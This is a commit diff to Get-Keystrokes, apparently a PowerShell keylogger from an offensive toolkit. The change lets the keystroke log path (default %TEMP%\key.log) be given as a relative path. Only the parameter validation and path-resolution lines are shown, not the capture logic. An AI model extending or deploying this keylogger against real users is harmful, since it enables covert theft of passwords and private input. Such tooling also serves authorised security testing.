Get-Keystrokes now accepts relative paths
This commit is contained in:
parent
d67e71bf2d
commit
05d335512a
|
|
@ -33,7 +33,7 @@
|
|||
#>
|
||||
[CmdletBinding()] Param (
|
||||
[Parameter(Position = 0)]
|
||||
[ValidateScript({Test-Path -Path (Split-Path -Parent $_) -PathType Container})]
|
||||
[ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})]
|
||||
[String]
|
||||
$LogPath = "$($Env:TEMP)\key.log",
|
||||
|
||||
|
|
@ -42,6 +42,8 @@
|
|||
$CollectionInterval
|
||||
)
|
||||
|
||||
$LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)
|
||||
|
||||
Write-Verbose "Logging keystrokes to $LogPath"
|
||||
|
||||
$Initilizer = {
|
||||
|
|
|
|||
Loading…
Reference in New Issue